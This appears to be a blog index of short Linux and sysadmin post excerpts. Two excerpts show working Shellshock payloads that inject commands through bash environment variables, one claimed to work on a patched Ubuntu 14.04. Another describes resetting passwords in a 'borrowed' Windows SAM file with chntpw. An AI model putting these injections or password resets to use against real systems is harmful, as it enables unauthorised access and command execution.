This is a variant of the shellshock bug for bash that still works on a patched system. I am using Ubuntu 14.04 and this still works for me. env VAR1=’me() {echo "hello"}\ ‘ /bin/touch /home/$LOGNAME/my.textenv VAR1=’me() {echo "hello"}\ ‘ /bin/touch /home/$LOGNAME/my.text So you can still put arbitrary content after the function definition in a bash … Read more
The shellshock bug for Linux is a wake up call for all Linux administrators and home users, but this is not the end of the world. The Linux distribution developers will issue patches very soon after a leak of a bug like this. There is not going to be a massive catastrophe that the media … Read more
A vulnerable cygwin shell. Using the shellshock vulnerability to run ls in cygwin. Homer@bejiitas ~ $ x='() { :;}; `/bin/ls -hula`’ bash -c : bash: total 53K drwxrwxr-x+ 1 Homer Homer 0 Sep 26 18:38 . drwxrwxrwt+ 1 Homer Homer 0 Sep 26 2013 .. -rw-rw—- 1 Homer Homer 222 Sep 26 2013 .bash_history -rwxrwxr-x … Read more
This is how to copy files from the local machine to your Amazon instance when you are logged into the EC2 instance via SSH. Firstly, connect to the remote AWS instance by SSH. Then use the sftp command to connect back to your local Linux machine. sftp -P 443 [email protected] -P 443 [email protected] Then, you … Read more
This guide, [openvpn.net] has a good guide to setting up an OpenVPN server on a Linux machine. I used this guide as the other guides online are not as good and often do not lead to a satisfactory result. I am using one on Linux and I can connect to it on my Windows machine … Read more
How to Get a Visa Online Without Needing a Lawyer Whether you want to visit, study or work abroad, it is vital that you have a visa to be there. What a visa does is make it legal for you to both live and work in a country where you are not a current … Read more
The chntpw utility for Linux is very useful if you have “borrowed” the SAM file from C:\Windows\System32\config/SAM and you wish to try and reset the passwords. I tried this with a Windows XP SP3 password file and I managed to reset the User1 password to a blank one. The Trinity Rescue Kit makes using this … Read more
Use this command to find all files in a directory that are larger than 1 megabyte. find . -maxdepth 1 -type f -size +1M -exec ls -Shal {} \+ | headfind . -maxdepth 1 -type f -size +1M -exec ls -Shal {} \+ | head Here is this command in practice. This is a very … Read more
Amazon Web Services is a very powerful way to run a virtualized server in the cloud, but there are some tips that will help you greatly when deploying a server for the first time. SSH access is one. Changing the SSH port from 22 to 443 in the /etc/ssh/sshd_config file will help access when you … Read more
Old AOL login window. Dialing up to an America Online system to get connected to the Internet. The old OS/2 Warp operating system from IBM. This was a very good operating system back in the day. Windows `95 on floppy disks. This would take a very long time to install compared to using a DVD … Read more
This is how I got an ipv6 address with my dgn2200 router. Go to Advanced-> Advanced Setup -> IPv6 and choose the Auto Detect option. Choose Auto Detect. This will give you an IPv6 address. This is a simple way to get IPv6 working on your network. Then you can visit http://ipv6.google.com and type “my … Read more
The movie Elysium showcased some awesome UNIX shell commands. The rhost command was one, there is a more detailed show here: http://i.imgur.com/niqfmy5.png. The nmap port scanning utility is used to port scan Matt Damon`s brain before the data is copied from his neural storage to the Elysium computer system. I cannot see the full command; … Read more
I recently created a new user with the adduser command. homer@deusexmachina:~/Documents$ sudo adduser jimkirk Adding user `jimkirk’ … Adding new group `jimkirk’ (1002) … Adding new user `jimkirk’ (1002) with group `jimkirk’ … Creating home directory `/home/jimkirk’ … Copying files from `/etc/skel’ … Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully … Read more
I was trying to get openmeetings working on an Amazon AWS instance today and I kept getting Java out of memory errors. I fixed this with this simple solution I found: http://stackoverflow.com/questions/18078859/java-run-out-of-memory-issue. This fixed my problem and allowed the java application to start with a limited amount of memory. Try this out if you have … Read more